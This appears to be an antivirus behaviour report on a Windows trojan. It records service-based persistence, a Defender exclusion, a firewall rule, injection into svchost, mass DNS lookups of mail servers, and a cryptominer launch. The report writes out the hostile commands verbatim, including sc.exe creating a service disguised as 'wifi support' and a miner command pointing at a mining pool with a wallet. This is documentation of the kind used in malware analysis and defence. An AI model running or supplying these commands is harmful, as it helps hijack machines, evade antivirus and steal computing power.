Technical Information
To ensure autorun and distribution
Creates the following services
- [<HKLM>\System\CurrentControlSet\Services\nmnkloja] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\nmnkloja] 'ImagePath' = '%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe /d"<Full path to file>"'
- [<HKLM>\SYSTEM\CurrentControlSet\services\nmnkloja] 'ImagePath' = '%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\nmnkloja' = '00000000'
Executes the following
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul
Injects code into
the following system processes:
- %WINDIR%\syswow64\svchost.exe
Modifies file system
Creates the following files
- %TEMP%\gxtarquy.exe
- %WINDIR%\syswow64\config\systemprofile:.repos
Moves the following files
- from %TEMP%\gxtarquy.exe to %WINDIR%\syswow64\nmnkloja\gxtarquy.exe
Deletes itself.
Network activity
TCP
HTTP GET requests
- http://www.google.com/
UDP
- DNS ASK mi##########m.mail.protection.outlook.com
- DNS ASK ma##.mwrgl.com
- DNS ASK mw##l.com
- DNS ASK d3#####.##s.barracudanetworks.com
- DNS ASK fu####tmutual.com
- DNS ASK sa####ch.scb.co.th
- DNS ASK sc##.com
- DNS ASK mx.##########ashomes.com.cust.a.hostedemail.com
- DNS ASK he#####texashomes.com
- DNS ASK ma###nehdez.com
- DNS ASK cl######.us.messagelabs.com
- DNS ASK to###rika.com
- DNS ASK d6#####.##s.barracudanetworks.com
- DNS ASK mi####tetool.com
- DNS ASK ha####dafloral.com
- DNS ASK ms####blishing.com
- DNS ASK ma##.#zeronline.com
- DNS ASK ho##ail.fr
- DNS ASK he###chels.com
- DNS ASK ho##ail.it
- DNS ASK ha###erinc.com
- DNS ASK ma#####1.ccf.auth.gr
- DNS ASK ch##.auth.gr
- DNS ASK mx.##a.untd.com
- DNS ASK ju##.com
- DNS ASK ma##.#umrungrad.com
- DNS ASK bu###ngrad.com
- DNS ASK ma##.bee.gr
- DNS ASK be#.gr
- DNS ASK ac###sway.ph
- DNS ASK ma####stitle.com
- DNS ASK sc##.#elenor.net
- DNS ASK ho#####estaurant.com
- DNS ASK li##ris.ph
- DNS ASK go####cargo.com.ph
- DNS ASK ic.###rld.net.ph
- DNS ASK
- DNS ASK ya##o.ph
- DNS ASK mx##.##a.mailcore.net
- DNS ASK so#.dk
- DNS ASK va######.mail.dreamhost.com
- DNS ASK hj##me.dk
- DNS ASK ms#####.##c.protection.outlook.com
- DNS ASK ms#.com
- DNS ASK al######x-vip1.prodigy.net
- DNS ASK sb###obal.net
- DNS ASK mx#.##oadpark.no
- DNS ASK d1######.#ss.barracudanetworks.com
- DNS ASK az###nline.com
- DNS ASK ra###ssen.no
- DNS ASK sp##.##rgen.kommune.no
- DNS ASK be####.kommune.no
- DNS ASK mx.##enet.gr
- DNS ASK di#s.gr
- DNS ASK mx###.##il.am0.yahoodns.net
- DNS ASK ya##o.co.uk
- DNS ASK ma##.#lamerica.com
- DNS ASK nl###rica.com
- DNS ASK al####oss.upnet.gr
- DNS ASK ch####g.upatras.gr
- DNS ASK us#######nbound-1.mimecast.com
- DNS ASK ml##s.com
- DNS ASK hu####ofmiami.com
- DNS ASK ba#####da.globetech.no
- DNS ASK ha####f-names.com
- DNS ASK ge####ucation.com
- DNS ASK ga##.cs.uoi.gr
- DNS ASK ze##.cs.uoi.gr
- DNS ASK gm##l.com
- DNS ASK s-#.dk
- DNS ASK ne####iumdirect.com
- DNS ASK mx#######d02.gslb.pphosted.com
- DNS ASK na######.email.dupont.com
- DNS ASK mx#######101.gslb.pphosted.com
- DNS ASK jo###eere.com
- DNS ASK de#####aintsonline.com
- DNS ASK mt##.##0.yahoodns.net
- DNS ASK ya##o.com
- DNS ASK mx.##oeuro.com
- DNS ASK ov##bye.dk
- DNS ASK ho#########.olc.protection.outlook.com
- DNS ASK ho##ail.com
- DNS ASK ns.####s-online.net.ph
- DNS ASK cu#######-1.in.mailcontrol.com
- DNS ASK ma##.###nstaydesigns.com
- DNS ASK ma####aydesigns.com
- DNS ASK 19#.###.#11.95.cbl.abuseat.org
- DNS ASK mi####.bittubeapp.com
- DNS ASK mx#######201.gslb.pphosted.com
- DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
- DNS ASK 19#.###.#11.95.zen.spamhaus.org
- DNS ASK ai#####aresolutions.com
- DNS ASK 19#.###.#11.95.bl.spamcop.net
- DNS ASK th###kery.com
- DNS ASK li######.#lc.protection.outlook.com
- DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
- DNS ASK li##.com
- DNS ASK 19#.###.211.95.in-addr.arpa
- DNS ASK alt1.gmail-smtp-in.l.google.com
- DNS ASK br###park.no
- DNS ASK ba##mex.com
- DNS ASK mx##.#andomain.dk
- DNS ASK mx##.#ail.citi.com
- DNS ASK re#####1.deped.gov.ph
- DNS ASK ip#.comm.ph
- DNS ASK ni##.nida.ac.ph
- DNS ASK ca#.##orld.net.ph
- DNS ASK st###abrics.ph
- DNS ASK ho##ail.de
- DNS ASK ke#####04.infosys.com
- DNS ASK in##sys.com
- DNS ASK mx.##wway.com
- DNS ASK wo##ay.com
- DNS ASK aspmx.l.google.com
- DNS ASK in###gram.com
- DNS ASK pa##.gov.ph
- DNS ASK ro###kommune.dk
- DNS ASK sm######.mc.a.cloudfilter.net
- DNS ASK we###nse.com
- DNS ASK ne##el.no
- DNS ASK ma#l.dk
- DNS ASK mx##.moe.dk
- DNS ASK te###plan.dk
- DNS ASK mx######b2d01.pphosted.com
- DNS ASK it.#bm.com
- DNS ASK fp##.mail.dk
- DNS ASK po##.tele.dk
- DNS ASK google.com
- DNS ASK ma####.surf-town.net
- DNS ASK st##ers.dk
- DNS ASK eu#.###.#rotection.outlook.com
- DNS ASK ho###il.co.uk
- DNS ASK mc##i.com
- DNS ASK my.##art.com.ph
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\nmnkloja\gxtarquy.exe' /d"<Full path to file>"
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmnkloja\' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\gxtarquy.exe" %WINDIR%\SysWOW64\nmnkloja\' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' create nmnkloja binPath= "%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' description nmnkloja "wifi internet conection"' (with hidden window)
- '%WINDIR%\syswow64\sc.exe' start nmnkloja' (with hidden window)
- '%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\nmnkloja\
- '%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\gxtarquy.exe" %WINDIR%\SysWOW64\nmnkloja\
- '%WINDIR%\syswow64\sc.exe' create nmnkloja binPath= "%WINDIR%\SysWOW64\nmnkloja\gxtarquy.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
- '%WINDIR%\syswow64\sc.exe' description nmnkloja "wifi internet conection"
- '%WINDIR%\syswow64\sc.exe' start nmnkloja
- '%WINDIR%\syswow64\svchost.exe'
- '%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o mining.bittubeapp.com:13333 -u bs2vRiVmw72dvArkbJKbtz917RXckezk9W9STXQKq1SFKmQAbfF24KkWUNqxeNZHaDJftC49YzUhiDSPSYZtn1BR2R2Z3K3Fw.60000 -p x -k
